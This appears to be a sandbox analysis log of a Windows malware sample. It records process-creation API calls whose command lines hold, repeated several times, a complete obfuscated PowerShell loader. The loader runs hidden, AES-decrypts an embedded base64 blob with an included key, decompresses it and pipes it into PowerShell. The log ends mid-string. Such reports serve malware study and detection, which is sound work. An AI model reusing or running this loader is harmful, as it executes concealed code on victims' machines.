cmdline powershell.exe -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $mCNNv = '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';$yQFSjx = 'TFpjTE1wVHVwbVJkQnRVd0lzbFpScHd0Q1pOZkVCUmE=';$ctAWUqsw = New-Object 'System.Security.Cryptography.AesManaged';$ctAWUqsw.Mode = [System.Security.Cryptography.CipherMode]::ECB;$ctAWUqsw.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$ctAWUqsw.BlockSize = 128;$ctAWUqsw.KeySize = 256;$ctAWUqsw.Key = [System.Convert]::FromBase64String($yQFSjx);$zsjbZ = [System.Convert]::FromBase64String($mCNNv);$arfJKgbe = $zsjbZ[0..15];$ctAWUqsw.IV = $arfJKgbe;$EQavMQNmE = $ctAWUqsw.CreateDecryptor();$YuGFoSwTH = $EQavMQNmE.TransformFinalBlock($zsjbZ, 16, $zsjbZ.Length - 16);$ctAWUqsw.Dispose();$iHsDh = New-Object System.IO.MemoryStream( , $YuGFoSwTH );$TUMos = New-Object System.IO.MemoryStream;$SZNoYIAmA = New-Object System.IO.Compression.GzipStream $iHsDh, ([IO.Compression.CompressionMode]::Decompress);$SZNoYIAmA.CopyTo( $TUMos );$SZNoYIAmA.Close();$iHsDh.Close();[byte[]] $nlMgO = $TUMos.ToArray();$Rwwlrl = [System.Text.Encoding]::UTF8.GetString($nlMgO);$Rwwlrl | powershell - }
cmdline "C:\Windows\system32\cmd.exe" /c powershell.exe $mCNNv = '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';$yQFSjx = 'TFpjTE1wVHVwbVJkQnRVd0lzbFpScHd0Q1pOZkVCUmE=';$ctAWUqsw = New-Object 'System.Security.Cryptography.AesManaged';$ctAWUqsw.Mode = [System.Security.Cryptography.CipherMode]::ECB;$ctAWUqsw.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$ctAWUqsw.BlockSize = 128;$ctAWUqsw.KeySize = 256;$ctAWUqsw.Key = [System.Convert]::FromBase64String($yQFSjx);$zsjbZ = [System.Convert]::FromBase64String($mCNNv);$arfJKgbe = $zsjbZ[0..15];$ctAWUqsw.IV = $arfJKgbe;$EQavMQNmE = $ctAWUqsw.CreateDecryptor();$YuGFoSwTH = $EQavMQNmE.TransformFinalBlock($zsjbZ, 16, $zsjbZ.Length - 16);$ctAWUqsw.Dispose();$iHsDh = New-Object System.IO.MemoryStream( , $YuGFoSwTH );$TUMos = New-Object System.IO.MemoryStream;$SZNoYIAmA = New-Object System.IO.Compression.GzipStream $iHsDh, ([IO.Compression.CompressionMode]::Decompress);$SZNoYIAmA.CopyTo( $TUMos );$SZNoYIAmA.Close();$iHsDh.Close();[byte[]] $nlMgO = $TUMos.ToArray();$Rwwlrl = [System.Text.Encoding]::UTF8.GetString($nlMgO);$Rwwlrl | powershell -
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 1152
thread_handle: 0x00000000000004d8
process_identifier: 2056
current_directory: C:\Users\test22\Desktop
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $mCNNv = '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';$yQFSjx = 'TFpjTE1wVHVwbVJkQnRVd0lzbFpScHd0Q1pOZkVCUmE=';$ctAWUqsw = New-Object 'System.Security.Cryptography.AesManaged';$ctAWUqsw.Mode = [System.Security.Cryptography.CipherMode]::ECB;$ctAWUqsw.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$ctAWUqsw.BlockSize = 128;$ctAWUqsw.KeySize = 256;$ctAWUqsw.Key = [System.Convert]::FromBase64String($yQFSjx);$zsjbZ = [System.Convert]::FromBase64String($mCNNv);$arfJKgbe = $zsjbZ[0..15];$ctAWUqsw.IV = $arfJKgbe;$EQavMQNmE = $ctAWUqsw.CreateDecryptor();$YuGFoSwTH = $EQavMQNmE.TransformFinalBlock($zsjbZ, 16, $zsjbZ.Length - 16);$ctAWUqsw.Dispose();$iHsDh = New-Object System.IO.MemoryStream( , $YuGFoSwTH );$TUMos = New-Object System.IO.MemoryStream;$SZNoYIAmA = New-Object System.IO.Compression.GzipStream $iHsDh, ([IO.Compression.CompressionMode]::Decompress);$SZNoYIAmA.CopyTo( $TUMos );$SZNoYIAmA.Close();$iHsDh.Close();[byte[]] $nlMgO = $TUMos.ToArray();$Rwwlrl = [System.Text.Encoding]::UTF8.GetString($nlMgO);$Rwwlrl | powershell - }
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000000000004d0
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: powershell.exe
parameters: -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $mCNNv = 'AAAAAAAAAAAAAAAAAAAAAG/ebLL6mbaeYT9ucj4uk9+izEWAg+Ksft29i6cwAhx2H59RKiQmRD07NfSvkYPbJPdBfc7QHKdOMBXRDWTtaek329s1tyk2s4LwNkzIwJoUljgy/+EqxR8M0/aoWEu+sjSDh7fUQD/vS2tTgZXfNBd18YqmsMWpgvORrX8F7npFy9fyny5S3olIuUtDoWqzET2jHhnHOsw2ChbYKlQkHlfSAa3sI7NFAFWOckJ1pUMjVFzmoF/k2qTqFUnNyOo28XDBiA9xYnguAz0Sp27qYiCxC3lVyb8qxLrWT+0cGvdOVuvIo9zKP5wCgWq56W9LWjIqJSFsrd2JdUiclVZLQddJa1TPXBqnqSMV+4gs9lQ5Qx4mqtHidr+BeaBDcCx6YcJri8L68hR/8mA4izbOTkWqD6KpR+Aw71EULQuYTDH38hGdBl+dS0a9DXPFxL9aAsQwr0cWBN59VKrzD1na1a4dGiBTjDXlQlwOPwEa1oZZgo6MgRi4fYdYAh5NcxTOY4iVWzrL7f7MYxslSmyjdGclje8TOcUYUCAT0oAQdrfO9WAhUQLGNI4oKtSV5vts6pVeN